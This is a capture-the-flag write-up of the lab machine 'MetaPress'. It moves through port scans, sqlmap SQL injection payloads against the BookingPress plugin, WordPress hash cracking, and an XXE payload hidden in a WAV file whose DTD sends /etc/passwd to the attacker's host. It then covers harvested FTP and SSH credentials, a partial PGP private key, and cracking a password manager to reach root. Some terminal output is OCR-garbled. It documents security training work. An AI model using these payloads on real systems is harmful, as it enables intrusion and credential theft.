

Information Gathering

1) Initial Scan has been done

```
(vigneswar@vigneswar)-[~]
$ nmap 10.10.11.186
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 16:39 IST
Nmap scan report for 10.10.11.186
Host is up (0.62s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 67.40 seconds
```

```
(vigneswar@vigneswar)-[~]
$ nmap 10.10.11.186 -p21,22,80 -sV -sC
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 16:41 IST
Nmap scan report for 10.10.11.186
Host is up (0.38s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp
| fingerprint-strings:
|_  GenericLines:
|_    220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|_    Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
|_  ssh-hostkey:
|_    3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
|_    256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_    256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp    open  http      nginx/1.18.0
|_  http-title: Did not follow redirect to http://metapress.htb/
|_  http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94%I=7%D=10/25%Time=6538F806%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,8F,"220x20ProFTPD\x20Server\x20(Debian)\x20[::ffff:10\
SF:\11\186]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr
SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creat
SF:e\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.82 seconds
```

2) Anonymous login not allowed

```
(vigneswar@vigneswar)-[~]
$ ftp 10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (10.10.11.186:vigneswar): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.
```

3) Bookingpress 1.0.10 is used

Request

PrettyRawHex

```
1 GET /events/ HTTP/1.1
2 Host: metapress.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: close
8 Referer: http://metapress.htb/
9 Cookie: PHPSESSID=4pGhm10rStefceqs60Lej7erah; wordpress_test_cookie=WP%20Cookie%20check
10 Upgrade-Insecure-Requests: 1
11
12
```

Response

PrettyRawHexRender

```
53 <link rel="stylesheet" id="bookingpress_tel_input-css" href="http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/bookingpress_tel_input.css?ver=1.0.10" media="all" />
54 <link rel="stylesheet" id="bookingpress_calendar-css" href="http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/bookingpress_vue_calendar.css?ver=1.0.10" media="all" />
55 <script id="bookingpress_vue_js-extra">
56   var appoint_ajax_obj = {
57     "ajax_url": "http://metapress.htb/wp-admin/admin-ajax.php"
58   };
59   </script>
60   <script data-cfasync="false" src="http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_vue.min.js?ver=1.0.10" id="bookingpress_vue_js">
61   </script>
62   <script data-cfasync="false" src="http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_axios.min.js?ver=1.0.10" id="bookingpress_axios_js">
63   </script>
64   <script data-cfasync="false" src="http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/js/bookingpress_axios.min.js?ver=1.0.10" id="bookingpress_axios_js">
65   </script>
```

4) Found vulnerability in the plugin

CVE-2022-0739

PUBLISHED

View JSON

BookingPress < 1.0.11 - Unauthenticated SQL Injection

Important CVE JSON 5 Information

+

Assigner: WPScan

Published: 2022-03-21 Updated: 2022-03-21

The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied POST data before it is used in a dynamically constructed SQL query via the bookingpress_front_get_category_services AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection

```
((custom) POST) parameter #1* is vulnerable. Do you want to keep testing the others (if any)? [y/n] y
sqlmap identified the following injection point(s) with a total of 289 HTTP(s) requests:

Parameter: #1* ((custom) POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause
  Payload: action=bookingpress_front_get_category_services&category_id=1&total_service=-9768) OR 1866=1866 AND (4855=4855&wptime=8010928222

  Type: UNION query
  Title: MySQL UNION query (random number) - 9 columns
  Payload: action=bookingpress_front_get_category_services&category_id=1&total_service=-4035) UNION ALL SELECT 1763,1763,1763,1763,1763,1763,1763,1763,CONCAT(0x716a717671,0x6d45627644736649565574414a5551466d6661574b4e474f464f4a69724d6c416a71777644696c4c,0x717a706a71)#0_wptime=8010928222

[18:04:17] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[18:04:17] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0, PHP 8.0.24
back-end DBMS: MySQL Unknown (MariaDB fork)
[18:04:19] [INFO] fetched data logged to text files under '/home/vigneswar/.local/share/sqlmap/output/10.10.11.186'

[*] ending @ 18:04:19 /2023-10-25/
```

5) Enumerated databases

```
back-end DBMS: MySQL Unknown (MariaDB fork)
[18:08:46] [INFO] fetching database names
available databases [2]:
[*] blog
[*] information_schema
```

```
[18:09:26] [INFO] fetching tables for database: 'blog'
```

```
Database: blog
```

```
[27 tables]
```

```
+-----+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories            |
| wp_bookingpress_customers             |
| wp_bookingpress_customers_meta        |
| wp_bookingpress_customize_settings    |
| wp_bookingpress_debug_payment_log     |
| wp_bookingpress_default_daysoff       |
| wp_bookingpress_default_workhours     |
| wp_bookingpress_entries               |
| wp_bookingpress_form_fields           |
| wp_bookingpress_notifications         |
| wp_bookingpress_payment_logs          |
| wp_bookingpress_services              |
| wp_bookingpress_servicesmeta          |
| wp_bookingpress_settings              |
| wp_commentmeta                        |
| wp_comments                           |
| wp_links                               |
| wp_options                             |
| wp_postmeta                            |
| wp_posts                               |
| wp_term_relationships                 |
| wp_term_taxonomy                      |
| wp_termmeta                            |
| wp_terms                               |
| wp_usermeta                            |
| wp_users                               |
+-----+
```

6) Found password hash

Database: blog									
Table: wp_users									
[2 entries]									
ID	user_url	user_pass	user_email	user_login	user_status	display_name	user_nicename	user_registered	user_activation_key
1	http://metapress.htb	\$P\$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.	admin@metapress.htb	admin	0	admin	admin	2022-06-23 17:58:28	<blank>
2	<blank>	\$P\$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70	manager@metapress.htb	manager	0	manager	manager	2022-06-23 18:07:55	<blank>

7) Cracked password hash

```
(vigneswar@vigneswar)-[~]  
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass passhash.hash  
Using default input encoding: UTF-8  
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])  
Cost 1 (iteration count) is 8192 for all loaded hashes  
Will run 4 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
partylikearockstar (manager)
```

8) Logged in as manager



Username or Email Address

manager

Password

partylikearockstar



☒ Remember Me

Log In

[Lost your password?](#)

[← Go to MetaPress](#)

Vulnerability Assessment

WordPress 5.6.2

```
(vigneswar@vigneswar)-[~/meta]
$ cat payload.wav
RIFFWAVEiXML{<?xml version="1.0"?><!DOCTYPE
ANY[<!ENTITY % remote SYSTEM
'http://10.10.16.5:80/xxe.dtd'%remote;%init;%trick;]>
}

(vigneswar@vigneswar)-[~/meta]
$ cat xxe.dtd
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY %data; trick SYSTEM 'http://10.10.16.5/%data;'>">
```

```
10.10.11.186 - - [26/Oct/2023 08:19:49] "GET /cm9vdDp40jA6MDpyb2900i9yb2900i9iaW4vYmFzaApkYkYV
tb246eDox0jE6ZGFlbW9u0i91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoy0jI6Ymlu0i9iaW46L3Vzci9z
YmluL25vbG9naW4Kc3lz0ng6MzozOnN5c3ovZGV20i91c3Ivc2Jpb9ub2xvZ2luCnN5bmM6eDo00jY1NTM0OnN5bmM6L
2JpbjovYmluL3N5bmMKZ2FtZXM6eDo10jYwOmdhbWVz0i91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWfuOng6Nj
oxMjptYW46L3Zhci9jYWN0ZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo30jc6bHA6L3Zhci9zcG9vbC9scGQ6L3V
zci9zYmluL25vbG9naW4KbWfPbDp40jg60DptYwls0i92YXlVbWfPbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdz0ng60To5
0m5ld3M6L3Zhci9zcG9vbC9uZXdz0i91c3Ivc2Jpb9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNw0i92YXlVc3Bvb2wvd
XVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcM94eTp40jEz0jEz0nByb3h50i9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LW
RhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDoxNDpiYWNrdXA
6L3Zhci9iYWNrdXBz0i91c3Ivc2Jpb9ub2xvZ2luCmxc3Q6eDozODoxODpNYWlsaW5nIEExp3QgTWFuYwdlcjovdmFy
L2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJj0ng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ
25hdHM6eDo0MT00MTPHbmF0cyBCdWctUmVvb3J0aW5nIFN5c3RlbSAoYWRtaW4p0i92YXlVbGllL2duYXRz0i91c3Ivc2
Jpb9ub2xvZ2luCm5vYm9keTp40jY1NTM00jY1NTM00m5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4
KX2FwdDp40jEwMDo2NTUzND06L25vbMv4aXN0ZW500i91c3Ivc2Jpb9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp40jEw
MT0xMDI6c3lzdGVtZCB0ZXR3b3JrIE1hbmFnZWllbnQsLWw6L3J1bi9zeXN0ZW1k0i91c3Ivc2Jpb9ub2xvZ2luCnN5c
3RlbWQtcMvzb2x2ZTp40jEwMjoxMDM6c3lzdGVtZCB5ZXNvbHJlciwzLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG
9naW4KbWVzc2FnZWJ1czp40jEwMzoxMDk60i9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA00jY
1NTM00jovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvb3p40jEwMDA6MTAwMDpqbmVsc29uLWw0i9ob21l
L2puZWxz246L2Jpb9iYXN0cN5c3RlbWQtdGltZXN5bmM6eDo50Tk60Tk50nN5c3RlbWQvGltZSBTeW5jaHJvbml6Y
XRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcMvkdW1wOng60Tk40jk50DpzeXN0ZW1kIENvcMvUgRHVtcG
Vy0i86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTEx0k15U1FMIFFnlcnZlciwzLDovbm9uZXhpc3RlbnQ6L2J
pb9i9mYwXzZQpwcm9mdHBkOng6MTA20jY1NTM00jovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3
0jY1NTM00jovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbg= HTTP/1.1" 404 -
```

5/10


```

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

```

Smart decode

☒ Text ☐ Hex

Decode as ...

Encode as ...

Hash ...

Smart decode

found user jnelson

2) read wp-config.php

```

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftplib' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

```

Inspector

Request attributes

Request query parameters

Request body parameters

Request cookies

Request headers

Response headers

found ftp password

3) found a file containing user password in ftp server

```
226 Transfer complete
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||40140|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |*****| 1126 5.53 KiB/s 00:00 ETA
226 Transfer complete
1126 bytes received in 00:00 (1.29 KiB/s)
ftp>
```

```
(vigneswar@vigneswar)-[~/meta]
$ cat send_email.php
<?php
/*
 * This script will be used to send an email to all our users when ready for launch
 */
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;
$mail->isSMTP();

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
```

4) Connected with ssh and got user flag

```
jnelson@meta2:~$ ls Intruder Repeater Collab
user.txt
jnelson@meta2:~$ cat user.txt
a36f291e56153e500029b42496350b46
jnelson@meta2:~$
```

5) passpie password manager is used

Executable files potentially added by user (limit 70)		
2022-10-25+12:52:06.5009076700	/home/jnelson/.passpie/ssh/jnelson.pass	3
2022-10-25+12:52:06.4969076700	/home/jnelson/.passpie/ssh/root.pass	4
2022-10-03+13:52:29.8046513600	/etc/console-setup/cached_setup_terminal.sh	5
2022-10-03+13:52:29.8046513600	/etc/console-setup/cached_setup_keyboard.sh	6
2022-10-03+13:52:29.8046513600	/etc/console-setup/cached_setup_font.sh	7
2022-06-26+15:59:08.0960021340	/usr/local/bin/wp	8
2022-06-26+15:59:00.3040021030	/usr/local/bin/passpie	9
2022-06-26+15:59:00.1280021030	/usr/local/bin/tabulate	10
2022-06-26+15:58:56.1720020870	/usr/local/bin/wheel	11
2022-06-26+15:58:56.1120020870	/usr/local/bin/easy_install-2.7	12
2022-06-26+15:58:56.1120020870	/usr/local/bin/easy_install	13
2022-06-26+15:58:55.8680020860	/usr/local/bin/pip2.7	14
2022-06-26+15:58:55.8680020860	/usr/local/bin/pip2	
2022-06-26+15:58:55.8680020860	/usr/local/bin/pip	

6) Transferred the passpie keys

<pre> (vigneswar@vigneswar)-[~/meta] \$ scp jnelson@10.10.11.186:/home/jnelson/.passpie/.keys ./keys jnelson@10.10.11.186's password: .keys </pre>	<div>Request cookies</div> <div>Request headers</div> <div>100% 5243 onse he7.1KB/s 00:001</div>
--	--


```
(vigneswar@vigneswar)-[~/meta]
```

```
$ cat keys
```

```
-----BEGIN PGP PRIVATE KEY BLOCK-----
```

```
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmtEOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRitXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPiVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhXL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+so03jtQsBAKbYl2yF/+D81v+42827iq06gqoxHbc/0epLqJ+Lb18hC/sG
WIVdy+jynHb81B3FIHT8320Vi2hTCT6vhfTILFkLLMxvirM6AaEPfhxIuRboiEQw
8lQMvTA1l+Et9FXS1u91h5ZL5PoCfhqpbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTdvT0TtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
FJ0mNTE7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFp0/dSiv7/UH2+x33XIUX1bPXH
FqSg+11VAFq3bgyBC1bXls0yS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
PnItMPJS2j0DG2V8IAgFns0gelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
FKZv0I+r9CBWjTK3bg/rFOo+DJKKn3hAfKARgU77ptuTJEYsfmho84ZaR3KSpX4L
/244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
q2wOX/RzICWMBdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTY08QJRDFr+
F2mStGpiqE00vVmJhXHAduJpIgcF8z18Aos0swa8ryKg3CS2xQGkK84UliwuPUh
S8wCQqxveke5/IjbgE6GQ0LzhpMUwzih7+15hEJVfDNZnEC9K/ATYC/kbJSrbQM
RfcJUrnjPpDFgF6sXQJuNuPdown36zjE7oIiD69ixGR5UjhVvy6yFLESuFzrwyeu
TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20
oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4
V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n
WP4HAWKqFLVcyzeqrf8h02o0Q70LrTXfDw4sd/a56XWRGGeGJgkRXzAqPQGWrSDC
6/eahMAWmfBfkhYWXlifgtfdcQme2XSUCNwTF6RCEAbYm0nAtDNQYXNzcGllIchB
dXRvLWdlbmVyYXRlZCBieSBQYXNzcGllKSA8cGFzc3BpZUBsb2NhbD6IkAQTEQgA
OBYhBHxnhqdWG8hPUehNHjh3dcNXRdIDBQJiuFFWAhsjBQsJCAcCBhUKCQgLAGQW
AgMBAh4BAheAAAOJEDh3dcNXRdIDRFQA/3V6S3ad2W9c1fq62+X7TcuCaKWkDk4e
qa1FZ3bhSFVIAP4qI7yXjBXZU4+Rd+gZKp77UNFdqcCyhGl1GpAJyyERDZ0BXwRi
```

7) Cracked the passpie hash

```
(vigneswar@vigneswar)-[~/meta]
```

```
$ john -format=gpg keys.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

```
Using default input encoding: UTF-8
```

```
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
```

```
Cost 1 (s2k-count) is 65011712 for all loaded hashes
```

```
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
```

```
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
```

```
Will run 4 OpenMP threads
```

```
Press 'q' or Ctrl-C to abort, almost any other key for status
```

```
blink182 (Passpie)
```

```
1g 0:00:00:03 DONE (2023-10-26 09:15) 0.3164g/s 51.89p/s 51.89c/s 51.89C/s ginger..blink182
```

```
Use the "--show" option to display all of the cracked passwords reliably
```

```
Session completed.
```

8) Found root ssh password on the passpie

```
jnelson@meta2:~$ passpie export password.txt
Passphrase:
jnelson@meta2:~$ cat password.txt
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
  handler: passpie
  version: 1.0
jnelson@meta2:~$
```

9) got the root flag

```
version: 1.0
jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson# cat /root/root.txt
e77560386c779f61acd668473f05d850
root@meta2:/home/jnelson#
```